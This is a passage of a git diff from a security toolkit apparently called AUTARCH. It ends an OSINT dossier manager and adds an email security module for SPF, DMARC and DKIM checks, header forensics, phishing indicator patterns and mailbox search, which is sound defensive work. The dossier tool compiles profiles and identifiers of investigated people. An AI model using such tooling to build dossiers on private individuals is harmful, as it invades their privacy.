+ lines.append(f"\n{id_type.replace('_', ' ').title()}:") + for v in values: + lines.append(f" - {v}") + + lines.extend([ + "", + "-" * 60, + f"PROFILES ({len(profiles)})", + "-" * 60, + ]) + + for p in profiles: + lines.append(f"\n[{p.get('category', 'other')}] {p.get('name', 'Unknown')}") + lines.append(f" URL: {p.get('url', 'N/A')}") + if p.get('status'): + lines.append(f" Status: {p.get('status')} ({p.get('rate', 'N/A')})") + + # Notes + notes = dossier.get("custom_notes", []) + if notes or meta.get("notes"): + lines.extend([ + "", + "-" * 60, + "NOTES", + "-" * 60, + ]) + if meta.get("notes"): + lines.append(f"\n{meta.get('notes')}") + for note in notes: + lines.append(f"\n[{note.get('date', '')[:10]}] {note.get('text', '')}") + + lines.extend([ + "", + "=" * 60, + "Generated by AUTARCH - darkHal Security Group", + "=" * 60, + ]) + + with open(filename, 'w') as f: + f.write("\n".join(lines)) + + def _delete_dossier(self, dossier_path: Path) -> bool: + """Delete a dossier.""" + confirm = input(f"\n{Colors.RED}Are you sure you want to delete this dossier? [{Colors.WHITE}yes{Colors.RED}/{Colors.WHITE}no{Colors.RED}]: {Colors.RESET}").strip().lower() + + if confirm == "yes": + try: + os.remove(dossier_path) + self.print_status("Dossier deleted", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return True + except Exception as e: + self.print_status(f"Failed to delete: {e}", "error") + + return False + + # ==================== MAIN MENU ==================== + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} Dossier Manager{Colors.RESET}") + print(f"{Colors.DIM} Manage OSINT investigation dossiers{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Show stats + dossiers = self.list_dossiers() + print(f" {Colors.DIM}Saved dossiers: {len(dossiers)}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Start New Dossier") + print(f" {Colors.GREEN}[2]{Colors.RESET} View Dossiers") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.create_new_dossier() + elif choice == "2": + self.view_dossiers_list() + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + DossierManager().run() + + +if __name__ == "__main__": + run() diff --git a/modules/email_sec.py b/modules/email_sec.py new file mode 100644 index 0000000..27e09d2 --- /dev/null +++ b/modules/email_sec.py @@ -0,0 +1,1590 @@ +"""AUTARCH Email Security + +DMARC/SPF/DKIM analysis, email header forensics, phishing detection, +mailbox search, and abuse report generation for email security assessment. +""" + +DESCRIPTION = "Email security — DMARC, SPF, header forensics" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +import os +import re +import sys +import json +import ssl +import time +import socket +import struct +import hashlib +import imaplib +import poplib +import email +import email.header +import email.utils +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any, Tuple +from urllib.parse import urlparse +import subprocess + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +sys.path.insert(0, str(Path(__file__).parent.parent)) +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = BLUE = GREEN = YELLOW = CYAN = WHITE = DIM = RESET = '' + def clear_screen(): pass + def display_banner(): pass + + +# -- Constants --------------------------------------------------------------- + +COMMON_DKIM_SELECTORS = [ + 'default', 'google', 'selector1', 'selector2', 'k1', 'k2', + 'dkim', 'mail', 's1', 's2', 'smtp', 'mandrill', 'everlytickey1', + 'everlytickey2', 'sig1', 'mxvault', 'a1', 'a2', 'cm', 'pm', + 'protonmail', 'protonmail2', 'protonmail3', +] + +BLACKLISTS = [ + 'zen.spamhaus.org', + 'bl.spamcop.net', + 'b.barracudacentral.org', + 'dnsbl.sorbs.net', + 'spam.dnsbl.sorbs.net', + 'dul.dnsbl.sorbs.net', + 'cbl.abuseat.org', + 'dnsbl-1.uceprotect.net', + 'psbl.surriel.com', + 'all.s5h.net', + 'rbl.interserver.net', + 'dnsbl.dronebl.org', + 'db.wpbl.info', + 'bl.mailspike.net', + 'truncate.gbudb.net', +] + +PHISHING_INDICATORS = { + 'urgency_words': { + 'patterns': [ + r'\b(urgent|immediate|action\s+required|act\s+now|expires?\s+today)\b', + r'\b(suspended|disabled|locked|compromised|unauthorized)\b', + r'\b(verify\s+your|confirm\s+your|update\s+your|validate)\b', + r'\b(within\s+24\s+hours|limited\s+time|final\s+notice|last\s+chance)\b', + ], + 'weight': 15, + }, + 'suspicious_urls': { + 'patterns': [ + r'https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', # IP-based URLs + r'https?://[^/]*\.(tk|ml|ga|cf|gq|xyz|top|buzz|club|work|click)\b', # suspicious TLDs + r'https?://bit\.ly|tinyurl\.com|goo\.gl|t\.co|is\.gd|shorte\.st', # shorteners + ], + 'weight': 25, + }, + 'brand_impersonation': { + 'patterns': [ + r'\b(paypal|apple|microsoft|google|amazon|facebook|netflix|bank)\b', + ], + 'weight': 10, + }, + 'dangerous_attachments': { + 'patterns': [ + r'\.(exe|scr|bat|cmd|com|pif|vbs|vbe|js|jse|wsf|wsh|ps1|msi|dll)\b', + r'\.(doc|xls|ppt)m\b', # macro-enabled Office + r'\.iso\b|\.img\b|\.hta\b', + ], + 'weight': 30, + }, + 'encoding_tricks': { + 'patterns': [ + r'xn--', # punycode + r'&#\d+;', # HTML entities numeric + r'&#x[0-9a-f]+;', # HTML entities hex + r'=\?[^?]*\?B\?', # Base64 encoded headers + ], + 'weight': 20, + }, +} + +URL_SHORTENER_DOMAINS = { + 'bit.ly', 'tinyurl.com', 'goo.gl', 't.co', 'is.gd', 'shorte.st', + 'ow.ly', 'buff.ly', 'rebrand.ly', 'cutt.ly', 'tiny.cc', 'lnkd.in', + 'rb.gy', 'v.gd', 'qr.ae', 'bl.ink', +} + +SUSPICIOUS_TLDS = { + '.tk', '.ml', '.ga', '.cf', '.gq', '.xyz', '.top', '.buzz', + '.club', '.work', '.click', '.link', '.info', '.biz', '.stream', + '.download', '.win', '.racing', '.review', '.country', '.science', +} + + +# -- Helper ------------------------------------------------------------------ + +def _dns_query(name: str, record_type: str = 'TXT', timeout: int = 5) -> List[str]: + """Query DNS records using nslookup subprocess fallback.""" + results = [] + try: + if record_type == 'TXT': + # Try socket-based approach first for basic lookups + try: + answers = socket.getaddrinfo(name, None) + # socket.getaddrinfo doesn't return TXT — fall through + except Exception: + pass + + # Use nslookup as cross-platform fallback + cmd = ['nslookup', '-type=' + record_type, name] + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + output = proc.stdout + proc.stderr + + # Parse TXT records from nslookup output + for line in output.split('\n'): + line = line.strip() + if '=' in line and 'text' in line.lower(): + # Format: text = "v=spf1 ..." + txt = line.split('=', 1)[1].strip().strip('"') + results.append(txt) + elif line.startswith('"') and line.endswith('"'): + results.append(line.strip('"')) + elif 'v=spf1' in line or 'v=DMARC1' in line or 'v=DKIM1' in line: + # Sometimes the record is on the line itself + match = re.search(r'"([^"]+)"', line) + if match: + results.append(match.group(1)) + elif 'v=' in line: + # Grab from v= onward + idx = line.index('v=') + results.append(line[idx:].strip().strip('"')) + + elif record_type == 'MX': + cmd = ['nslookup', '-type=MX', name] + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + output = proc.stdout + + for line in output.split('\n'): + line = line.strip() + # "mail exchanger = 10 mx1.example.com." + mx_match = re.search(r'mail exchanger\s*=\s*(\d+)\s+(\S+)', line, re.I) + if mx_match: + priority = int(mx_match.group(1)) + host = mx_match.group(2).rstrip('.') + results.append(f"{priority} {host}") + # Also handle "MX preference = 10, mail exchanger = ..." + mx_match2 = re.search(r'preference\s*=\s*(\d+).*exchanger\s*=\s*(\S+)', line, re.I) + if mx_match2: + priority = int(mx_match2.group(1)) + host = mx_match2.group(2).rstrip('.') + results.append(f"{priority} {host}") + + elif record_type in ('A', 'AAAA'): + cmd = ['nslookup', '-type=' + record_type, name] + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + output = proc.stdout + + for line in output.split('\n'): + line = line.strip() + addr_match = re.search(r'Address:\s*(\S+)', line) + if addr_match: + addr = addr_match.group(1) + # Skip the DNS server address (first one, usually has #53) + if '#' not in addr and addr != name: + results.append(addr) + + except subprocess.TimeoutExpired: + pass + except FileNotFoundError: + pass + except Exception: + pass + + return results + + +def _reverse_ip(ip: str) -> str: + """Reverse an IPv4 address for DNSBL lookup.""" + parts = ip.split('.') + parts.reverse() + return '.'.join(parts) + + +def _is_valid_ip(s: str) -> bool: + """Check if string is a valid IPv4 address.""" + try: + socket.inet_aton(s) + return True + except (socket.error, OSError): + return False + + +def _resolve_domain(domain: str) -> Optional[str]: + """Resolve a domain to an IPv4 address.""" + try: + return socket.gethostbyname(domain) + except (socket.gaierror, socket.herror): + return None + + +# -- EmailSecurity class ----------------------------------------------------- + +class EmailSecurity: + """Email security analysis engine.""" + + _instance = None + + def __init__(self): + data_dir = get_data_dir() + if isinstance(data_dir, str): + data_dir = Path(data_dir) + self.storage_dir = data_dir / 'email_sec' + self.storage_dir.mkdir(parents=True, exist_ok=True) + self._cache = {} + self._cache_ttl = 300 # 5 minutes + + # -- DNS helper ---------------------------------------------------------- + + def get_dns_record(self, domain: str, record_type: str = 'TXT') -> List[str]: + """Query DNS records for a domain.""" + cache_key = f"{record_type}:{domain}" + cached = self._cache.get(cache_key) + if cached and time.time() - cached['ts'] < self._cache_ttl: + return cached['data'] + + results = _dns_query(domain, record_type) + self._cache[cache_key] = {'data': results, 'ts': time.time()} + return results + + # -- SPF ----------------------------------------------------------------- + + def check_spf(self, domain: str) -> Dict[str, Any]: + """Parse and analyze the SPF record for a domain.""" + records = self.get_dns_record(domain, 'TXT') + spf_record = None + for rec in records: + if rec.strip().startswith('v=spf1'): + spf_record = rec.strip() + break + + result = { + 'domain': domain, + 'found': spf_record is not None, + 'record': spf_record or '', + 'mechanisms': [], + 'qualifiers': {}, + 'includes': [], + 'all_policy': 'missing', + 'dns_lookups': 0, + 'findings': [], + 'status': 'fail', + } + + if not spf_record: + result['findings'].append({'level': 'fail', 'message': 'No SPF record found'}) + return result + + # Parse mechanisms + parts = spf_record.split() + lookup_count = 0 + + for part in parts[1:]: # skip v=spf1 + qualifier = '+' + mechanism = part + + if part[0] in '+-~?': + qualifier = part[0] + mechanism = part[1:] + + if mechanism.startswith('ip4:') or mechanism.startswith('ip6:'): + mtype = 'ip4' if mechanism.startswith('ip4:') else 'ip6' + value = mechanism.split(':', 1)[1] + result['mechanisms'].append({'type': mtype, 'value': value, 'qualifier': qualifier}) + elif mechanism.startswith('include:'): + include_domain = mechanism.split(':', 1)[1] + result['includes'].append(include_domain) + result['mechanisms'].append({'type': 'include', 'value': include_domain, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism.startswith('a:') or mechanism == 'a': + value = mechanism.split(':', 1)[1] if ':' in mechanism else domain + result['mechanisms'].append({'type': 'a', 'value': value, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism.startswith('mx:') or mechanism == 'mx': + value = mechanism.split(':', 1)[1] if ':' in mechanism else domain + result['mechanisms'].append({'type': 'mx', 'value': value, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism.startswith('ptr'): + result['mechanisms'].append({'type': 'ptr', 'value': mechanism, 'qualifier': qualifier}) + lookup_count += 1 + result['findings'].append({'level': 'warn', 'message': 'PTR mechanism is deprecated (RFC 7208)'}) + elif mechanism.startswith('exists:'): + value = mechanism.split(':', 1)[1] + result['mechanisms'].append({'type': 'exists', 'value': value, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism.startswith('redirect='): + value = mechanism.split('=', 1)[1] + result['mechanisms'].append({'type': 'redirect', 'value': value, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism == 'all': + result['all_policy'] = qualifier + qualifier_names = {'+': 'pass', '-': 'hardfail', '~': 'softfail', '?': 'neutral'} + result['mechanisms'].append({'type': 'all', 'value': 'all', 'qualifier': qualifier}) + result['qualifiers']['all'] = qualifier_names.get(qualifier, qualifier) + + result['dns_lookups'] = lookup_count + + # Analyze findings + if result['all_policy'] == '-': + result['findings'].append({'level': 'pass', 'message': 'SPF uses hardfail (-all) — recommended'}) + result['status'] = 'pass' + elif result['all_policy'] == '~': + result['findings'].append({'level': 'warn', 'message': 'SPF uses softfail (~all) — hardfail (-all) recommended'}) + result['status'] = 'warn' + elif result['all_policy'] == '+': + result['findings'].append({'level': 'fail', 'message': 'SPF allows all senders (+all) — anyone can spoof this domain'}) + result['status'] = 'fail' + elif result['all_policy'] == '?': + result['findings'].append({'level': 'warn', 'message': 'SPF uses neutral (?all) — provides no protection'}) + result['status'] = 'warn' + elif result['all_policy'] == 'missing': + result['findings'].append({'level': 'fail', 'message': 'No "all" mechanism — implicit +all (no protection)'}) + result['status'] = 'fail' + + if lookup_count > 10: + result['findings'].append({ + 'level': 'fail', + 'message': f'Too many DNS lookups ({lookup_count}) — SPF limit is 10 (RFC 7208)' + }) + elif lookup_count > 7: + result['findings'].append({ + 'level': 'warn', + 'message': f'{lookup_count} DNS lookups — approaching SPF limit of 10' + }) + + if len(result['includes']) > 5: + result['findings'].append({ + 'level': 'warn', + 'message': f'{len(result["includes"])} include directives — consider consolidating' + }) + + return result + + # -- DMARC --------------------------------------------------------------- + + def check_dmarc(self, domain: str) -> Dict[str, Any]: + """Parse and analyze the DMARC record for a domain.""" + dmarc_domain = f'_dmarc.{domain}' + records = self.get_dns_record(dmarc_domain, 'TXT') + dmarc_record = None + for rec in records: + if rec.strip().startswith('v=DMARC1'): + dmarc_record = rec.strip() + break + + result = { + 'domain': domain, + 'found': dmarc_record is not None, + 'record': dmarc_record or '', + 'policy': 'none', + 'subdomain_policy': None, + 'pct': 100, + 'rua': [], + 'ruf': [], + 'aspf': 'r', # relaxed + 'adkim': 'r', # relaxed + 'fo': '0', + 'findings': [], + 'status': 'fail', + } + + if not dmarc_record: + result['findings'].append({'level': 'fail', 'message': 'No DMARC record found'}) + return result + + # Parse tags + tags = {} + for part in dmarc_record.split(';'): + part = part.strip() + if '=' in part: + key, val = part.split('=', 1) + tags[key.strip()] = val.strip() + + result['policy'] = tags.get('p', 'none') + result['subdomain_policy'] = tags.get('sp') + result['pct'] = int(tags.get('pct', '100')) + result['aspf'] = tags.get('aspf', 'r') + result['adkim'] = tags.get('adkim', 'r') + result['fo'] = tags.get('fo', '0') + + if 'rua' in tags: + result['rua'] = [u.strip() for u in tags['rua'].split(',')] + if 'ruf' in tags: + result['ruf'] = [u.strip() for u in tags['ruf'].split(',')] + + # Analyze + policy = result['policy'] + if policy == 'reject': + result['findings'].append({'level': 'pass', 'message': 'DMARC policy is "reject" — strongest protection'}) + result['status'] = 'pass' + elif policy == 'quarantine': + result['findings'].append({'level': 'warn', 'message': 'DMARC policy is "quarantine" — "reject" recommended'}) + result['status'] = 'warn' + elif policy == 'none': + result['findings'].append({'level': 'fail', 'message': 'DMARC policy is "none" — no protection (monitoring only)'}) + result['status'] = 'fail' + + if result['pct'] < 100: + result['findings'].append({ + 'level': 'warn', + 'message': f'DMARC pct={result["pct"]}% — only applies to {result["pct"]}% of messages' + }) + + if not result['rua']: + result['findings'].append({'level': 'warn', 'message': 'No aggregate report URI (rua) — no visibility into failures'}) + + if result['subdomain_policy'] and result['subdomain_policy'] != policy: + result['findings'].append({ + 'level': 'warn', + 'message': f'Subdomain policy (sp={result["subdomain_policy"]}) differs from domain policy (p={policy})' + }) + + if result['aspf'] == 'r': + result['findings'].append({'level': 'warn', 'message': 'SPF alignment is relaxed — strict (aspf=s) recommended'}) + if result['adkim'] == 'r': + result['findings'].append({'level': 'warn', 'message': 'DKIM alignment is relaxed — strict (adkim=s) recommended'}) + + return result + + # -- DKIM ---------------------------------------------------------------- + + def check_dkim(self, domain: str, selectors: Optional[List[str]] = None) -> Dict[str, Any]: + """Try common DKIM selectors to find signing keys.""" + if selectors is None: + selectors = COMMON_DKIM_SELECTORS + + result = { + 'domain': domain, + 'found_selectors': [], + 'checked_selectors': selectors, + 'findings': [], + 'status': 'fail', + } + + for selector in selectors: + dkim_domain = f'{selector}._domainkey.{domain}' + records = self.get_dns_record(dkim_domain, 'TXT') + + for rec in records: + if 'v=DKIM1' in rec or 'k=' in rec or 'p=' in rec: + key_info = {'selector': selector, 'record': rec} + + # Parse key fields + tags = {} + for part in rec.split(';'): + part = part.strip() + if '=' in part: + k, v = part.split('=', 1) + tags[k.strip()] = v.strip() + + key_info['version'] = tags.get('v', '') + key_info['key_type'] = tags.get('k', 'rsa') + key_info['public_key'] = tags.get('p', '') + key_info['flags'] = tags.get('t', '') + key_info['hash_algorithms'] = tags.get('h', '') + key_info['notes'] = tags.get('n', '') + + if not tags.get('p'): + key_info['revoked'] = True + result['findings'].append({ + 'level': 'warn', + 'message': f'Selector "{selector}" has empty public key — key may be revoked' + }) + else: + key_info['revoked'] = False + + result['found_selectors'].append(key_info) + break + + if result['found_selectors']: + active = [s for s in result['found_selectors'] if not s.get('revoked')] + if active: + result['status'] = 'pass' + result['findings'].insert(0, { + 'level': 'pass', + 'message': f'Found {len(active)} active DKIM selector(s): {", ".join(s["selector"] for s in active)}' + }) + else: + result['findings'].insert(0, { + 'level': 'warn', + 'message': 'DKIM selectors found but all appear revoked' + }) + else: + result['findings'].append({ + 'level': 'warn', + 'message': f'No DKIM records found for {len(selectors)} common selectors' + }) + + return result + + # -- MX ------------------------------------------------------------------ + + def check_mx(self, domain: str) -> Dict[str, Any]: + """Query MX records and analyze mail servers.""" + mx_records = self.get_dns_record(domain, 'MX') + + result = { + 'domain': domain, + 'mx_records': [], + 'findings': [], + 'status': 'fail', + } + + if not mx_records: + result['findings'].append({'level': 'fail', 'message': 'No MX records found'}) + return result + + result['status'] = 'pass' + + for mx_entry in mx_records: + parts = mx_entry.split(None, 1) + if len(parts) == 2: + priority = int(parts[0]) + host = parts[1].rstrip('.') + else: + priority = 0 + host = mx_entry.rstrip('.') + + mx_info = { + 'priority': priority, + 'host': host, + 'ip': _resolve_domain(host), + 'starttls': False, + 'starttls_error': None, + } + + # Check STARTTLS + tls_result = self.check_starttls(host) + mx_info['starttls'] = tls_result.get('starttls', False) + mx_info['starttls_error'] = tls_result.get('error') + mx_info['banner'] = tls_result.get('banner', '') + + if not mx_info['starttls']: + result['findings'].append({ + 'level': 'warn', + 'message': f'MX {host} does not support STARTTLS' + }) + + result['mx_records'].append(mx_info) + + result['mx_records'].sort(key=lambda x: x['priority']) + + if len(result['mx_records']) == 1: + result['findings'].append({ + 'level': 'warn', + 'message': 'Only one MX record — no redundancy for mail delivery' + }) + + all_tls = all(mx['starttls'] for mx in result['mx_records']) + if all_tls: + result['findings'].insert(0, { + 'level': 'pass', + 'message': f'All {len(result["mx_records"])} MX servers support STARTTLS' + }) + + return result + + # -- STARTTLS ------------------------------------------------------------ + + def check_starttls(self, host: str, port: int = 25) -> Dict[str, Any]: + """Check if an SMTP server supports STARTTLS.""" + result = { + 'host': host, + 'port': port, + 'starttls': False, + 'banner': '', + 'tls_version': None, + 'cipher': None, + 'error': None, + } + + try: + sock = socket.create_connection((host, port), timeout=8) + banner = sock.recv(1024).decode('utf-8', errors='replace').strip() + result['banner'] = banner + + # Send EHLO + sock.sendall(b'EHLO autarch.local\r\n') + ehlo_resp = sock.recv(4096).decode('utf-8', errors='replace') + + if 'STARTTLS' in ehlo_resp.upper(): + result['starttls'] = True + + # Try upgrading + sock.sendall(b'STARTTLS\r\n') + tls_resp = sock.recv(1024).decode('utf-8', errors='replace') + + if tls_resp.startswith('220'): + try: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + tls_sock = context.wrap_socket(sock, server_hostname=host) + result['tls_version'] = tls_sock.version() + cipher = tls_sock.cipher() + if cipher: + result['cipher'] = cipher[0] + tls_sock.close() + return result + except ssl.SSLError as e: + result['error'] = f'TLS handshake failed: {e}' + + sock.sendall(b'QUIT\r\n') + sock.close() + except socket.timeout: + result['error'] = 'Connection timed out' + except ConnectionRefusedError: + result['error'] = 'Connection refused' + except Exception as e: + result['error'] = str(e) + + return result + + # -- Domain Analysis (full) ---------------------------------------------- + + def analyze_domain(self, domain: str) -> Dict[str, Any]: + """Comprehensive email security analysis for a domain.""" + domain = domain.strip().lower() + + spf = self.check_spf(domain) + dmarc = self.check_dmarc(domain) + dkim = self.check_dkim(domain) + mx = self.check_mx(domain) + + # Calculate overall score + scores = {'pass': 0, 'warn': 0, 'fail': 0} + for check in [spf, dmarc, dkim, mx]: + status = check.get('status', 'fail') + scores[status] = scores.get(status, 0) + 1 + + total = sum(scores.values()) + if total > 0: + score = int(((scores['pass'] * 100) + (scores['warn'] * 50)) / total) + else: + score = 0 + + # Grade + if score >= 90: + grade = 'A' + elif score >= 75: + grade = 'B' + elif score >= 60: + grade = 'C' + elif score >= 40: + grade = 'D' + else: + grade = 'F' + + result = { + 'domain': domain, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'spf': spf, + 'dmarc': dmarc, + 'dkim': dkim, + 'mx': mx, + 'score': score, + 'grade': grade, + 'summary': { + 'spf_status': spf['status'], + 'dmarc_status': dmarc['status'], + 'dkim_status': dkim['status'], + 'mx_status': mx['status'], + } + } + + # Save analysis + self._save_analysis(domain, result) + return result + + # -- Header Analysis ----------------------------------------------------- + + def analyze_headers(self, raw_headers: str) -> Dict[str, Any]: + """Parse and analyze email headers for security issues.""" + result = { + 'received_chain': [], + 'authentication': { + 'spf': 'none', + 'dkim': 'none', + 'dmarc': 'none', + }, + 'from': '', + 'return_path': '', + 'reply_to': '', + 'message_id': '', + 'date': '', + 'subject': '', + 'originating_ip': None, + 'spoofing_indicators': [], + 'findings': [], + } + + # Parse with email module + msg = email.message_from_string(raw_headers) + + # Extract basic headers + result['from'] = str(msg.get('From', '')) + result['return_path'] = str(msg.get('Return-Path', '')) + result['reply_to'] = str(msg.get('Reply-To', '')) + result['message_id'] = str(msg.get('Message-ID', '')) + result['date'] = str(msg.get('Date', '')) + result['subject'] = str(msg.get('Subject', '')) + + # Decode encoded headers + for field in ['from', 'subject', 'reply_to']: + val = result[field] + if val and '=?' in val: + decoded_parts = email.header.decode_header(val) + decoded = '' + for part, charset in decoded_parts: + if isinstance(part, bytes): + decoded += part.decode(charset or 'utf-8', errors='replace') + else: + decoded += str(part) + result[field] = decoded + + # Parse Received chain + received_headers = msg.get_all('Received', []) + for i, recv in enumerate(received_headers): + hop = {'raw': recv, 'hop': i + 1} + + # Extract from/by + from_match = re.search(r'from\s+(\S+)', recv, re.I) + by_match = re.search(r'by\s+(\S+)', recv, re.I) + if from_match: + hop['from'] = from_match.group(1) + if by_match: + hop['by'] = by_match.group(1) + + # Extract IP + ip_match = re.search(r'\[(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]', recv) + if ip_match: + hop['ip'] = ip_match.group(1) + + # Extract timestamp + ts_match = re.search(r';\s*(.+?)$', recv) + if ts_match: + hop['timestamp'] = ts_match.group(1).strip() + + result['received_chain'].append(hop) + + # Originating IP (last Received header — outermost hop) + if result['received_chain']: + for hop in reversed(result['received_chain']): + if hop.get('ip') and not hop['ip'].startswith(('10.', '192.168.', '172.')): + result['originating_ip'] = hop['ip'] + break + + # Parse Authentication-Results + auth_results = msg.get_all('Authentication-Results', []) + for ar in auth_results: + ar_lower = ar.lower() + if 'spf=' in ar_lower: + spf_match = re.search(r'spf=(\w+)', ar_lower) + if spf_match: + result['authentication']['spf'] = spf_match.group(1) + if 'dkim=' in ar_lower: + dkim_match = re.search(r'dkim=(\w+)', ar_lower) + if dkim_match: + result['authentication']['dkim'] = dkim_match.group(1) + if 'dmarc=' in ar_lower: + dmarc_match = re.search(r'dmarc=(\w+)', ar_lower) + if dmarc_match: + result['authentication']['dmarc'] = dmarc_match.group(1) + + # Spoofing indicators + from_addr = result['from'] + return_path = result['return_path'] + reply_to = result['reply_to'] + + # Extract domain from From header + from_domain_match = re.search(r'@([\w.-]+)', from_addr) + from_domain = from_domain_match.group(1) if from_domain_match else '' + + rp_domain_match = re.search(r'@([\w.-]+)', return_path) + rp_domain = rp_domain_match.group(1) if rp_domain_match else '' + + if from_domain and rp_domain and from_domain.lower() != rp_domain.lower(): + result['spoofing_indicators'].append({ + 'level': 'warn', + 'indicator': 'From/Return-Path mismatch', + 'detail': f'From domain: {from_domain}, Return-Path domain: {rp_domain}' + }) + + if reply_to: + rt_domain_match = re.search(r'@([\w.-]+)', reply_to) + rt_domain = rt_domain_match.group(1) if rt_domain_match else '' + if from_domain and rt_domain and from_domain.lower() != rt_domain.lower(): + result['spoofing_indicators'].append({ + 'level': 'warn', + 'indicator': 'From/Reply-To mismatch', + 'detail': f'From domain: {from_domain}, Reply-To domain: {rt_domain}' + }) + + # Check authentication failures + for auth_type, auth_result in result['authentication'].items(): + if auth_result == 'fail': + result['findings'].append({ + 'level': 'fail', + 'message': f'{auth_type.upper()} authentication failed' + }) + elif auth_result == 'pass': + result['findings'].append({ + 'level': 'pass', + 'message': f'{auth_type.upper()} authentication passed' + }) + elif auth_result == 'none': + result['findings'].append({ + 'level': 'warn', + 'message': f'No {auth_type.upper()} authentication result' + }) + + # Check for suspicious Received hops + if len(result['received_chain']) > 8: + result['findings'].append({ + 'level': 'warn', + 'message': f'Unusually long Received chain ({len(result["received_chain"])} hops)' + }) + + return result + + # -- Phishing Detection -------------------------------------------------- + + def detect_phishing(self, email_content: str) -> Dict[str, Any]: + """Analyze email content for phishing indicators.""" + result = { + 'risk_score': 0, + 'risk_level': 'low', + 'findings': [], + 'urls_found': [], + 'suspicious_urls': [], + 'attachment_refs': [], + } + + content_lower = email_content.lower() + total_weight = 0 + + # Check each indicator category + for category, info in PHISHING_INDICATORS.items(): + category_hits = [] + for pattern in info['patterns']: + matches = re.findall(pattern, content_lower, re.I) + if matches: + category_hits.extend(matches) + + if category_hits: + total_weight += info['weight'] + result['findings'].append({ + 'category': category, + 'severity': 'high' if info['weight'] >= 25 else 'medium' if info['weight'] >= 15 else 'low', + 'matches': list(set(str(m) if isinstance(m, str) else str(m) for m in category_hits[:10])), + 'weight': info['weight'], + }) + + # Extract and analyze URLs + urls = re.findall(r'https?://[^\s<>"\')\]]+', email_content, re.I) + result['urls_found'] = list(set(urls)) + + for url in result['urls_found']: + suspicious_reasons = [] + parsed = urlparse(url) + hostname = parsed.hostname or '' + + # IP-based URL + if _is_valid_ip(hostname): + suspicious_reasons.append('IP-based URL') + + # URL shortener + if hostname.lower() in URL_SHORTENER_DOMAINS: + suspicious_reasons.append('URL shortener') + + # Suspicious TLD + for tld in SUSPICIOUS_TLDS: + if hostname.endswith(tld): + suspicious_reasons.append(f'Suspicious TLD ({tld})') + break + + # Long subdomain (possible typosquatting) + parts = hostname.split('.') + if len(parts) > 4: + suspicious_reasons.append('Excessive subdomains') + + # @-symbol in URL (credential harvesting trick) + if '@' in url: + suspicious_reasons.append('Contains @ symbol (possible credential trick)') + + # Homograph / punycode + if hostname.startswith('xn--'): + suspicious_reasons.append('Punycode/IDN domain') + + if suspicious_reasons: + result['suspicious_urls'].append({ + 'url': url, + 'reasons': suspicious_reasons, + }) + total_weight += 10 + + # Check for attachment references + attachment_exts = re.findall( + r'[\w.-]+\.(exe|scr|bat|cmd|com|pif|vbs|vbe|js|jse|wsf|wsh|ps1|msi|dll|docm|xlsm|pptm|iso|img|hta|lnk|zip|rar|7z)', + content_lower + ) + if attachment_exts: + result['attachment_refs'] = list(set(attachment_exts)) + total_weight += 15 + + # Calculate risk score (0-100) + result['risk_score'] = min(100, total_weight) + if result['risk_score'] >= 70: + result['risk_level'] = 'critical' + elif result['risk_score'] >= 50: + result['risk_level'] = 'high' + elif result['risk_score'] >= 30: + result['risk_level'] = 'medium' + else: + result['risk_level'] = 'low' + + return result + + # -- Mailbox Search ------------------------------------------------------ + + def search_mailbox(self, host: str, username: str, password: str, + protocol: str = 'imap', search_query: Optional[str] = None, + folder: str = 'INBOX', use_ssl: bool = True) -> Dict[str, Any]: + """Connect to a mailbox and search for emails.""" + result = { + 'host': host, + 'protocol': protocol, + 'folder': folder, + 'messages': [], + 'total': 0, + 'error': None, + } + + try: + if protocol.lower() == 'imap': + result = self._search_imap(host, username, password, search_query, folder, use_ssl) + elif protocol.lower() == 'pop3': + result = self._search_pop3(host, username, password, search_query, use_ssl) + else: + result['error'] = f'Unsupported protocol: {protocol}' + except Exception as e: + result['error'] = str(e) + + return result + + def _search_imap(self, host: str, username: str, password: str, + search_query: Optional[str], folder: str, use_ssl: bool) -> Dict: + """Search via IMAP.""" + result = {'host': host, 'protocol': 'imap', 'folder': folder, 'messages': [], 'total': 0, 'error': None} + + try: + if use_ssl: + conn = imaplib.IMAP4_SSL(host, timeout=15) + else: + conn = imaplib.IMAP4(host, timeout=15) + + conn.login(username, password) + conn.select(folder, readonly=True) + + # Build search criteria + if search_query: + # Support simple search syntax + criteria = search_query.upper() + if not criteria.startswith('('): + # Wrap simple queries + if '@' in search_query: + criteria = f'(FROM "{search_query}")' + elif re.match(r'\d{1,2}-\w{3}-\d{4}', search_query): + criteria = f'(SINCE "{search_query}")' + else: + criteria = f'(SUBJECT "{search_query}")' + else: + criteria = 'ALL' + + status, data = conn.search(None, criteria) + if status != 'OK': + result['error'] = 'Search failed' + conn.logout() + return result + + msg_ids = data[0].split() + result['total'] = len(msg_ids) + + # Fetch last 50 message summaries + for msg_id in msg_ids[-50:]: + status, msg_data = conn.fetch(msg_id, '(RFC822.SIZE BODY[HEADER.FIELDS (FROM SUBJECT DATE MESSAGE-ID)])') + if 